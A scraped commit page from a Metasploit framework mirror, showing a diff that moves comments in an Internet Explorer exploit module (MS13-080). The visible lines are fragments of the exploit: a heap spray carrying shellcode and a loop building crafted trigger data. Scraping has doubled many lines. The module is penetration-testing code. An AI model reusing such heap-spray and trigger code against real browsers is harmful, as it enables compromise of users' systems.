infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Change JS comments in Ruby.

bug/bundler_fix
sinn3r 2013-10-16 16:40:54 -05:00
parent 4fa3b8f820
commit 0ce221274b
1 changed files with 5 additions and 2 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

7
modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb
View File

@ -205,6 +205,11 @@ window.onload = function() {
rop_payload rop_payload
end end
#
# IE 6's call is at 6
# IE 8's call is at 7
# Don't think this one triggers on IE9
#
def get_sploit_html(target_info) def get_sploit_html(target_info)
os = target_info[:os] os = target_info[:os]
js_payload = '' js_payload = ''
@ -225,9 +230,7 @@ sprayHeap({shellcode:unescape("#{js_payload}")});
var earth = document; var earth = document;
var data = ""; var data = "";
for (i=0; i<17; i++) { for (i=0; i<17; i++) {
// IE 7
if (i==6) { data += unescape("%u2020%u2030"); } if (i==6) { data += unescape("%u2020%u2030"); }
// IE 8/9
else if (i==7) { data += unescape("%u2020%u2030"); } else if (i==7) { data += unescape("%u2020%u2030"); }
else { data += unescape("%u4141%u4141"); } else { data += unescape("%u4141%u4141"); }
} }